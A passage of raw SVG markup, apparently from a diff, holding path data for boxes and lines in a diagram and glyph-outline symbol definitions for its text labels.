d="M 197.308594 206.167969 L 197.308594 200.167969 C 193.996094 200.167969 191.308594 202.855469 191.308594 206.167969 Z M 197.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 206.167969 L 611.308594 206.167969 C 611.308594 202.855469 608.625 200.167969 605.308594 200.167969 Z M 605.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 206.167969 L 611.308594 206.167969 L 611.308594 234.167969 L 191.308594 234.167969 Z M 191.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 234.167969 L 191.308594 234.167969 C 191.308594 237.480469 193.996094 240.167969 197.308594 240.167969 Z M 197.308594 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 234.167969 L 605.308594 240.167969 C 608.625 240.167969 611.308594 237.480469 611.308594 234.167969 Z M 605.308594 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 24.239598 L 54.40943 24.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 26.239598 L 54.40943 26.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 24.239598 L 34.00943 24.239598 C 33.843805 24.239598 33.70943 24.373973 33.70943 24.539598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 24.539598 L 54.70943 24.539598 C 54.70943 24.373973 54.57525 24.239598 54.40943 24.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 24.539598 L 33.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 24.539598 L 54.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 25.939598 L 33.70943 25.939598 C 33.70943 26.105223 33.843805 26.239598 34.00943 26.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 26.239598 L 54.40943 26.239598 C 54.57525 26.239598 54.70943 26.105223 54.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 190.808594 242.433594 L 415.707031 242.433594 L 415.707031 265.832031 L 190.808594 265.832031 Z M 190.808594 242.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#S" x="190.809" y="260.836"/><use xlink:href="#O" x="199.324" y="260.836"/><use xlink:href="#C" x="207.156" y="260.836"/><use xlink:href="#z" x="214.363" y="260.836"/><use xlink:href="#y" x="219.734" y="260.836"/><use xlink:href="#N" x="224.676" y="260.836"/><use xlink:href="#A" x="236.395" y="260.836"/><use xlink:href="#P" x="243.836" y="260.836"/><use xlink:href="#y" x="251.746" y="260.836"/><use xlink:href="#F" x="256.688" y="260.836"/><use xlink:href="#B" x="258.855" y="260.836"/><use xlink:href="#E" x="262.664" y="260.836"/><use xlink:href="#T" x="268.738" y="260.836"/><use xlink:href="#U" x="276.551" y="260.836"/><use xlink:href="#y" x="280.457" y="260.836"/><use xlink:href="#A" x="285.281" y="260.836"/><use xlink:href="#F" x="292.723" y="260.836"/><use xlink:href="#B" x="294.891" y="260.836"/><use xlink:href="#T" x="298.699" y="260.836"/><use xlink:href="#P" x="306.512" y="260.836"/><use xlink:href="#U" x="314.422" y="260.836"/><use xlink:href="#y" x="318.328" y="260.836"/><use xlink:href="#F" x="323.27" y="260.836"/><use xlink:href="#B" x="325.438" y="260.836"/><use xlink:href="#J" x="329.246" y="260.836"/><use xlink:href="#T" x="337.059" y="260.836"/><use xlink:href="#U" x="344.871" y="260.836"/><use xlink:href="#V" x="348.777" y="260.836"/><use xlink:href="#D" x="352.977" y="260.836"/><use xlink:href="#U" x="360.77" y="260.836"/><use xlink:href="#P" x="364.676" y="260.836"/><use xlink:href="#W" x="372.586" y="260.836"/><use xlink:href="#F" x="380.359" y="260.836"/><use xlink:href="#B" x="382.527" y="260.836"/><use xlink:href="#X" x="386.336" y="260.836"/><use xlink:href="#K" x="394.773" y="260.836"/><use xlink:href="#K" x="402.547" y="260.836"/><use xlink:href="#z" x="410.32" y="260.836"/></g><path d="M 148.910156 290.542969 L 176.308594 290.542969 L 176.308594 316.792969 L 148.910156 316.792969 Z M 148.910156 290.542969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#Y" x="149.238" y="311.191"/><use xlink:href="#u" x="158.379" y="311.191"/><use xlink:href="#Z" x="162.871" y="311.191"/><use xlink:href="#aa" x="168.301" y="311.191"/><path d="M 197.308594 283.667969 L 385.308594 283.667969 L 385.308594 323.667969 L 197.308594 323.667969 Z M 197.308594 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 289.667969 L 197.308594 283.667969 C 193.996094 283.667969 191.308594 286.355469 191.308594 289.667969 Z M 197.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.308594 289.667969 L 391.308594 289.667969 C 391.308594 286.355469 388.625 283.667969 385.308594 283.667969 Z M 385.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 289.667969 L 391.308594 289.667969 L 391.308594 317.667969 L 191.308594 317.667969 Z M 191.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 317.667969 L 191.308594 317.667969 C 191.308594 320.980469 193.996094 323.667969 197.308594 323.667969 Z M 197.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.308594 317.667969 L 385.308594 323.667969 C 388.625 323.667969 391.308594 320.980469 391.308594 317.667969 Z M 385.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 28.414598 L 43.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 30.414598 L 43.40943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 28.414598 L 34.00943 28.414598 C 33.843805 28.414598 33.70943 28.548973 33.70943 28.714598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.70943 28.714598 L 43.70943 28.714598 C 43.70943 28.548973 43.57525 28.414598 43.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 28.714598 L 33.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.70943 28.714598 L 43.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 30.114598 L 33.70943 30.114598 C 33.70943 30.280223 33.843805 30.414598 34.00943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.40943 30.414598 L 43.40943 30.414598 C 43.57525 30.414598 43.70943 30.280223 43.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 113.960938 361.773438 L 176.3125 361.773438 L 176.3125 388.023438 L 113.960938 388.023438 Z M 113.960938 361.773438" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#ab" x="114.883" y="382.422"/><use xlink:href="#ac" x="123.789" y="382.422"/><use xlink:href="#ad" x="128.555" y="382.422"/><use xlink:href="#s" x="137.461" y="382.422"/><use xlink:href="#Y" x="141.348" y="382.422"/><use xlink:href="#ae" x="149.941" y="382.422"/><use xlink:href="#o" x="158.848" y="382.422"/><use xlink:href="#q" x="167.754" y="382.422"/></g><path d="M 197.308594 354.894531 L 305.308594 354.894531 L 305.308594 394.894531 L 197.308594 394.894531 Z M 197.308594 354.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 360.894531 L 197.308594 354.894531 C 193.996094 354.894531 191.308594 357.582031 191.308594 360.894531 Z M 197.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.308594 360.894531 L 311.308594 360.894531 C 311.308594 357.582031 308.625 354.894531 305.308594 354.894531 Z M 305.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 360.894531 L 311.308594 360.894531 L 311.308594 388.894531 L 191.308594 388.894531 Z M 191.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 388.894531 L 191.308594 388.894531 C 191.308594 392.210938 193.996094 394.894531 197.308594 394.894531 Z M 197.308594 388.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.308594 388.894531 L 305.308594 394.894531 C 308.625 394.894531 311.308594 392.210938 311.308594 388.894531 Z M 305.308594 388.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 31.975927 L 39.40943 31.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 33.975927 L 39.40943 33.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 31.975927 L 34.00943 31.975927 C 33.843805 31.975927 33.70943 32.110302 33.70943 32.275927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.70943 32.275927 L 39.70943 32.275927 C 39.70943 32.110302 39.57525 31.975927 39.40943 31.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 32.275927 L 33.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.70943 32.275927 L 39.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 33.675927 L 33.70943 33.675927 C 33.70943 33.841747 33.843805 33.975927 34.00943 33.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.40943 33.975927 L 39.40943 33.975927 C 39.57525 33.975927 39.70943 33.841747 39.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 477.308594 283.667969 L 605.308594 283.667969 L 605.308594 323.667969 L 477.308594 323.667969 Z M 477.308594 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.308594 289.667969 L 477.308594 283.667969 C 473.996094 283.667969 471.308594 286.355469 471.308594 289.667969 Z M 477.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 289.667969 L 611.308594 289.667969 C 611.308594 286.355469 608.625 283.667969 605.308594 283.667969 Z M 605.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 471.308594 289.667969 L 611.308594 289.667969 L 611.308594 317.667969 L 471.308594 317.667969 Z M 471.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.308594 317.667969 L 471.308594 317.667969 C 471.308594 320.980469 473.996094 323.667969 477.308594 323.667969 Z M 477.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 317.667969 L 605.308594 323.667969 C 608.625 323.667969 611.308594 320.980469 611.308594 317.667969 Z M 605.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 48.00943 28.414598 L 54.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.00943 30.414598 L 54.40943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.00943 28.414598 L 48.00943 28.414598 C 47.843805 28.414598 47.70943 28.548973 47.70943 28.714598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 28.714598 L 54.70943 28.714598 C 54.70943 28.548973 54.57525 28.414598 54.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.70943 28.714598 L 47.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 28.714598 L 54.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.70943 30.114598 L 47.70943 30.114598 C 47.70943 30.280223 47.843805 30.414598 48.00943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 30.414598 L 54.40943 30.414598 C 54.57525 30.414598 54.70943 30.280223 54.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 422.511719 290.542969 L 460.3125 290.542969 L 460.3125 316.792969 L 422.511719 316.792969 Z M 422.511719 290.542969" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#af" x="423.063" y="311.191"/><use xlink:href="#Z" x="431.852" y="311.191"/><use xlink:href="#ag" x="437.672" y="311.191"/><use xlink:href="#Z" x="445.934" y="311.191"/><use xlink:href="#q" x="451.754" y="311.191"/></g></svg>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 707 453"><defs><symbol overflow="visible" id="a"><path style="stroke:none" d="M1.281-13.86a6.254 6.254 0 0 1 1.36-.234c.476-.039.953-.062 1.421-.062.532 0 1.055.062 1.579.187.52.117.988.336 1.406.656.426.313.766.75 1.016 1.313.257.563.39 1.277.39 2.14 0 .844-.125 1.56-.375 2.141-.242.586-.562 1.063-.969 1.438a3.698 3.698 0 0 1-1.406.797 5.272 5.272 0 0 1-1.625.25h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0h-1.5zm2.86 1.079c-.274 0-.532.011-.782.031a3.635 3.635 0 0 0-.578.094v5.953a.56.56 0 0 0 .25.062c.114 0 .227.008.344.016h.61a4.08 4.08 0 0 0 1.078-.14c.343-.094.644-.258.906-.5.27-.25.488-.583.656-1 .164-.426.25-.958.25-1.594 0-.563-.078-1.024-.234-1.391a2.41 2.41 0 0 0-.594-.906 2.06 2.06 0 0 0-.86-.485 3.87 3.87 0 0 0-1.046-.14zm0 0"/></symbol><symbol overflow="visible" id="b"><path style="stroke:none" d="M.734-5c0-1.8.305-3.125.922-3.969.625-.844 1.508-1.265 2.657-1.265 1.226 0 2.132.433 2.718 1.296.582.868.875 2.18.875 3.938 0 1.813-.32 3.14-.953 3.984-.625.836-1.508 1.25-2.64 1.25-1.22 0-2.122-.43-2.704-1.296C1.023-1.926.734-3.239.734-5zm1.5 0c0 .586.036 1.117.11 1.594.07.48.191.898.36 1.25.163.344.382.617.655.812.27.188.586.282.954.282.695 0 1.218-.305 1.562-.922.352-.625.531-1.63.531-3.016 0-.57-.039-1.098-.11-1.578a4.47 4.47 0 0 0-.359-1.25c-.167-.352-.386-.625-.656-.813a1.62 1.62 0 0 0-.968-.296c-.68 0-1.196.312-1.547.937-.356.625-.532 1.625-.532 3zm0 0"/></symbol><symbol overflow="visible" id="c"><path style="stroke:none" d="M1.016-1.64a4.6 4.6 0 0 0 .953.406c.363.117.738.171 1.125.171.445 0 .82-.109 1.125-.328.312-.218.468-.57.468-1.062 0-.414-.093-.754-.28-1.016a3.06 3.06 0 0 0-.72-.719 6.653 6.653 0 0 0-.921-.593 5.605 5.605 0 0 1-.938-.657 3.284 3.284 0 0 1-.703-.89C.937-6.68.844-7.125.844-7.656c0-.852.226-1.492.687-1.922.457-.438 1.11-.656 1.953-.656.54 0 1.008.054 1.407.156.406.094.754.226 1.046.39l-.375 1.204a4.009 4.009 0 0 0-.875-.329 4.333 4.333 0 0 0-1.03-.124c-.481 0-.829.101-1.048.296-.218.2-.328.512-.328.938 0 .336.094.621.281.86.188.23.422.445.704.64.289.187.601.387.937.594.332.199.64.433.922.703.29.273.531.601.719.984.187.375.281.852.281 1.422 0 .375-.063.73-.188 1.063a2.273 2.273 0 0 1-.546.875c-.25.242-.559.433-.922.578a3.478 3.478 0 0 1-1.282.218c-.593 0-1.105-.058-1.53-.172-.43-.101-.79-.25-1.079-.437zm0 0"/></symbol><symbol overflow="visible" id="d"><path style="stroke:none" d="M.188-10h1.218v-1.984l1.438-.454V-10H5v1.297H2.844v5.969c0 .586.066 1.007.203 1.265.144.262.375.39.687.39.27 0 .5-.03.688-.093.195-.062.41-.14.64-.234l.282 1.14a4.299 4.299 0 0 1-.969.344 4.34 4.34 0 0 1-1.11.14c-.667 0-1.148-.214-1.437-.64-.281-.437-.422-1.144-.422-2.125v-6.156H.188zm0 0"/></symbol><symbol overflow="visible" id="e"><path style="stroke:none" d="M1.078-9.406c.383-.239.852-.422 1.406-.547a7.435 7.435 0 0 1 1.75-.203c.563 0 1.008.086 1.344.25.344.168.613.398.813.687.195.281.32.606.375.969.062.367.093.75.093 1.156 0 .793-.015 1.57-.046 2.328a53.04 53.04 0 0 0-.047 2.172c0 .5.015.969.046 1.406.032.43.094.84.188 1.235H5.906l-.343-1.188h-.079a2.73 2.73 0 0 1-.89.907C4.207.016 3.69.14 3.047.14c-.73 0-1.324-.25-1.781-.75-.461-.5-.688-1.192-.688-2.079 0-.57.094-1.05.281-1.437.196-.383.473-.695.829-.938a3.346 3.346 0 0 1 1.265-.5 7.995 7.995 0 0 1 1.625-.156h.406c.133 0 .274.008.422.016.032-.406.047-.77.047-1.094 0-.758-.117-1.289-.344-1.594-.218-.312-.632-.468-1.234-.468a4.89 4.89 0 0 0-1.219.171 4.705 4.705 0 0 0-1.094.422zm4.344 4.844c-.137-.008-.274-.016-.406-.016-.137-.008-.266-.016-.391-.016-.324 0-.64.028-.953.078a2.594 2.594 0 0 0-.813.282 1.485 1.485 0 0 0-.578.53c-.136.231-.203.517-.203.86 0 .531.129.95.39 1.25.259.293.598.438 1.016.438.551 0 .977-.13 1.282-.39.312-.27.53-.567.656-.891zm0 0"/></symbol><symbol overflow="visible" id="f"><path style="stroke:none" d="M2.719-2.375c0 .46.062.793.187 1 .125.2.301.297.531.297.282 0 .61-.07.985-.219l.14 1.156c-.18.106-.421.188-.734.25-.312.07-.594.11-.844.11-.511 0-.921-.157-1.234-.469-.313-.313-.469-.863-.469-1.656V-14H2.72zm0 0"/></symbol><symbol overflow="visible" id="g"><path style="stroke:none" d="M6.656-3.922H2.703L1.578 0H.094l4.218-14.219h.829L9.359 0H7.797zM3.094-5.266h3.203L5.078-9.578l-.375-2.11h-.047l-.375 2.141zm0 0"/></symbol><symbol overflow="visible" id="h"><path style="stroke:none" d="M7.484-3.438c0 .68.004 1.293.016 1.844.008.555.055 1.102.14 1.64h-.984l-.312-1.202h-.078c-.188.398-.485.73-.891 1-.398.258-.875.39-1.438.39-1.085 0-1.89-.414-2.421-1.25C.992-1.859.734-3.18.734-4.984c0-1.707.32-3 .97-3.875.655-.883 1.546-1.329 2.671-1.329.383 0 .691.028.922.079.226.043.476.12.75.234V-14h1.437zM6.047-8.421a1.848 1.848 0 0 0-.64-.344c-.231-.07-.54-.109-.923-.109-.71 0-1.261.324-1.656.969-.398.636-.594 1.62-.594 2.953 0 .586.036 1.117.11 1.594.07.468.187.875.344 1.218.156.344.351.61.593.797.25.188.555.282.922.282.957 0 1.57-.567 1.844-1.704zm0 0"/></symbol><symbol overflow="visible" id="i"><path style="stroke:none" d="M1.188-10h1.015l.25 1.063h.063c.187-.383.43-.688.734-.907.3-.226.664-.344 1.094-.344.3 0 .644.063 1.031.188l-.281 1.453a2.973 2.973 0 0 0-.907-.172c-.43 0-.777.125-1.046.375-.274.242-.446.57-.516.985V0H1.187zm0 0"/></symbol><symbol overflow="visible" id="j"><path style="stroke:none" d="M7.156-.688c-.312.305-.718.532-1.218.688a5.128 5.128 0 0 1-1.563.234c-.625 0-1.168-.12-1.625-.359-.46-.25-.84-.602-1.14-1.063-.305-.457-.528-1.003-.673-1.64A10.503 10.503 0 0 1 .734-5c0-1.707.313-3.004.938-3.89.633-.895 1.523-1.344 2.672-1.344.375 0 .742.046 1.11.14.362.094.69.281.984.563.289.273.523.664.703 1.172.187.511.28 1.171.28 1.984 0 .219-.01.46-.03.719-.024.261-.047.531-.079.812H2.234c0 .574.047 1.094.141 1.563.094.469.238.87.438 1.203.207.324.468.574.78.75.313.18.704.266 1.173.266.351 0 .707-.063 1.062-.188.352-.133.625-.297.813-.484zm-1.11-5.359c.02-1-.124-1.726-.437-2.187-.304-.47-.718-.704-1.25-.704-.617 0-1.105.235-1.468.704-.356.46-.563 1.187-.625 2.187zm0 0"/></symbol><symbol overflow="visible" id="k"><path style="stroke:none" d="M8.656-12.625H5.22V0h-1.5v-12.625H.28V-14h8.375zm0 0"/></symbol><symbol overflow="visible" id="l"><path style="stroke:none" d="m3.656-3.547.422 1.953h.11l.296-1.953L6-10h1.453L5.078-1.016A57.87 57.87 0 0 1 4.516 1a11.53 11.53 0 0 1-.61 1.625c-.219.457-.465.816-.734 1.078-.274.258-.594.39-.969.39s-.703-.058-.984-.171l.234-1.36c.188.063.375.07.563.032.187-.031.363-.14.53-.328.165-.188.317-.47.454-.844.145-.367.27-.84.375-1.422L.141-10h1.64zm0 0"/></symbol><symbol overflow="visible" id="m"><path style="stroke:none" d="M1.188-10h1.015l.219 1.078H2.5c.488-.875 1.258-1.312 2.313-1.312 1.062 0 1.851.398 2.375 1.187.53.781.796 2.063.796 3.844 0 .844-.09 1.605-.265 2.281-.18.668-.43 1.242-.75 1.719A3.27 3.27 0 0 1 5.812-.125c-.46.238-.968.36-1.53.36-.387 0-.696-.028-.923-.079a2.43 2.43 0 0 1-.734-.281V4H1.187zm1.437 8.422c.188.156.395.281.625.375.227.094.54.14.938.14.695 0 1.253-.359 1.671-1.078.414-.718.625-1.742.625-3.078 0-.562-.039-1.066-.109-1.515a4.02 4.02 0 0 0-.36-1.172 1.925 1.925 0 0 0-.609-.766c-.242-.176-.543-.265-.906-.265-.969 0-1.594.593-1.875 1.78zm0 0"/></symbol><symbol overflow="visible" id="n"><path style="stroke:none" d="M6.563-3.156H3.265L2.437 0h-2.5L4-14.094h1.984L10.063 0H7.421zM3.796-5.234h2.328L5.312-8.5 5-10.703h-.078l-.344 2.219zm0 0"/></symbol><symbol overflow="visible" id="o"><path style="stroke:none" d="M8.047-3.516c0 .555.004 1.11.015 1.672.008.563.063 1.184.157 1.86H6.547l-.328-1.157H6.14C5.68-.203 4.89.266 3.766.266 2.742.266 1.94-.133 1.359-.938.785-1.738.5-3.038.5-4.844c0-1.758.313-3.093.938-4 .625-.914 1.554-1.375 2.796-1.375.32 0 .586.024.797.063.219.043.426.11.625.203V-14h2.39zM4.312-1.922c.364 0 .649-.086.86-.266.219-.175.379-.44.484-.796v-4.72a1.396 1.396 0 0 0-.453-.25 1.865 1.865 0 0 0-.64-.093c-.532 0-.934.246-1.204.735-.273.48-.406 1.328-.406 2.546 0 .93.11 1.637.328 2.125.227.48.57.72 1.031.72zm0 0"/></symbol><symbol overflow="visible" id="p"><path style="stroke:none" d="M5.578-7.64a2.699 2.699 0 0 0-.875-.173c-.367 0-.68.102-.937.297-.262.2-.438.477-.532.829V0H.86v-10h1.829l.265 1.203h.094c.164-.437.41-.781.734-1.031.332-.25.711-.375 1.14-.375.321 0 .634.07.938.203zm0 0"/></symbol><symbol overflow="visible" id="q"><path style="stroke:none" d="M7.625-.734c-.336.293-.79.53-1.36.718a5.808 5.808 0 0 1-1.812.282c-.687 0-1.281-.121-1.781-.36a3.164 3.164 0 0 1-1.235-1.031C1.113-1.582.875-2.133.72-2.781.57-3.437.5-4.176.5-5c0-1.8.352-3.129 1.063-3.984.718-.864 1.71-1.297 2.984-1.297.426 0 .836.062 1.234.187.395.125.75.34 1.063.64.312.306.566.704.765 1.204.196.5.297 1.133.297 1.89 0 .294-.023.606-.062.938-.032.336-.078.695-.14 1.078h-4.86c.02.836.191 1.469.515 1.907.32.437.836.656 1.547.656a3.11 3.11 0 0 0 1.157-.203c.351-.133.625-.274.812-.422zM4.5-8.234c-.512 0-.89.203-1.14.609-.25.406-.4.977-.438 1.703h2.765c.032-.758-.054-1.332-.25-1.719-.199-.394-.511-.593-.937-.593zm0 0"/></symbol><symbol overflow="visible" id="r"><path style="stroke:none" d="M4.219-2.656a.99.99 0 0 0-.266-.703 3.047 3.047 0 0 0-.687-.547l-.891-.516a5.125 5.125 0 0 1-.89-.64A3.187 3.187 0 0 1 .78-5.97c-.18-.363-.265-.82-.265-1.375 0-.926.254-1.644.765-2.156.508-.508 1.254-.766 2.235-.766.593 0 1.144.07 1.656.204.52.124.937.28 1.25.468l-.563 1.828a7.374 7.374 0 0 0-.921-.296 3.866 3.866 0 0 0-1.063-.157c-.648 0-.969.274-.969.813 0 .261.086.476.266.64.176.168.406.329.687.485.282.156.579.324.891.5.313.18.61.398.89.656.282.262.508.578.688.953.176.367.266.824.266 1.375 0 .918-.282 1.656-.844 2.219-.555.562-1.383.844-2.484.844-.555 0-1.094-.07-1.625-.204C1.117-.07.695-.241.375-.453l.672-1.922c.27.156.586.297.953.422.375.117.758.172 1.156.172.313 0 .567-.067.766-.203.195-.145.297-.368.297-.672zm0 0"/></symbol><symbol overflow="visible" id="t"><path style="stroke:none" d="M3.281-3.234c0 .46.047.793.14 1 .095.199.243.296.454.296.125 0 .25-.007.375-.03.125-.032.27-.083.438-.157l.218 1.922c-.168.105-.445.203-.828.297-.387.093-.777.14-1.172.14-.668 0-1.168-.168-1.5-.5-.336-.332-.5-.894-.5-1.687V-14h2.375zm0 0"/></symbol><symbol overflow="visible" id="u"><path style="stroke:none" d="M1.063-10h2.375V0H1.062zm.14-2.813c0-.406.125-.738.375-1 .25-.257.61-.39 1.078-.39.469 0 .844.133 1.125.39.281.25.422.586.422 1 0 .407-.14.731-.422.97-.281.241-.656.359-1.125.359s-.828-.118-1.078-.36c-.25-.25-.375-.57-.375-.969zm0 0"/></symbol><symbol overflow="visible" id="v"><path style="stroke:none" d="M5.813 0v-6.078c0-.738-.09-1.254-.266-1.547-.168-.29-.453-.438-.86-.438-.355 0-.656.11-.906.329-.25.21-.433.476-.547.796V0H.86v-10h1.907l.28 1.156h.048c.238-.383.566-.71.984-.984.414-.27.957-.406 1.625-.406.395 0 .75.062 1.063.187.312.117.57.309.78.578.22.274.38.637.485 1.094.114.46.172 1.031.172 1.719V0zm0 0"/></symbol><symbol overflow="visible" id="w"><path style="stroke:none" d="M1.734-2.125h2.282v-7.86l.265-1.359-.828 1.188-1.312 1.015-1.094-1.343 3.86-3.75h1.39v12.109h2.25V0H1.734zm0 0"/></symbol><symbol overflow="visible" id="R"><path style="stroke:none" d="M8.047-10.64a7.8 7.8 0 0 1-.313 2.14c-.199.719-.453 1.43-.765 2.125a20.678 20.678 0 0 1-1.032 1.984c-.375.625-.742 1.18-1.093 1.657l-.89.812v.11l1.202-.313h3.11V0H1.234v-1.375c.282-.352.582-.75.907-1.188.332-.445.66-.921.984-1.421.332-.5.648-1.02.953-1.563.313-.539.582-1.082.813-1.625.226-.539.41-1.07.546-1.594.145-.52.22-1.004.22-1.453 0-.562-.137-1.015-.407-1.36-.262-.343-.672-.515-1.234-.515a2.57 2.57 0 0 0-1.047.235 3.09 3.09 0 0 0-.875.546l-.89-1.75a4.943 4.943 0 0 1 1.468-.89c.562-.219 1.223-.328 1.984-.328.477 0 .926.078 1.344.234.414.156.77.387 1.063.688.3.304.539.683.718 1.14.176.45.266.977.266 1.578zm0 0"/></symbol><symbol overflow="visible" id="Y"><path style="stroke:none" d="M8.844-.563c-.356.293-.824.508-1.406.641a7.62 7.62 0 0 1-1.72.203c-.718 0-1.39-.12-2.015-.36-.617-.25-1.156-.66-1.625-1.234-.469-.582-.84-1.335-1.11-2.265-.261-.938-.39-2.082-.39-3.438 0-1.414.149-2.586.453-3.515.301-.938.692-1.68 1.172-2.235.488-.55 1.047-.941 1.672-1.171a5.549 5.549 0 0 1 1.906-.344c.657 0 1.223.058 1.703.172.489.105.891.218 1.204.343l-.5 2.22a4.112 4.112 0 0 0-.907-.298 5.909 5.909 0 0 0-1.203-.11c-.918 0-1.625.403-2.125 1.204-.492.793-.734 2.043-.734 3.75 0 .73.054 1.402.172 2.016.113.605.289 1.125.53 1.562.25.438.563.777.938 1.016.383.242.844.36 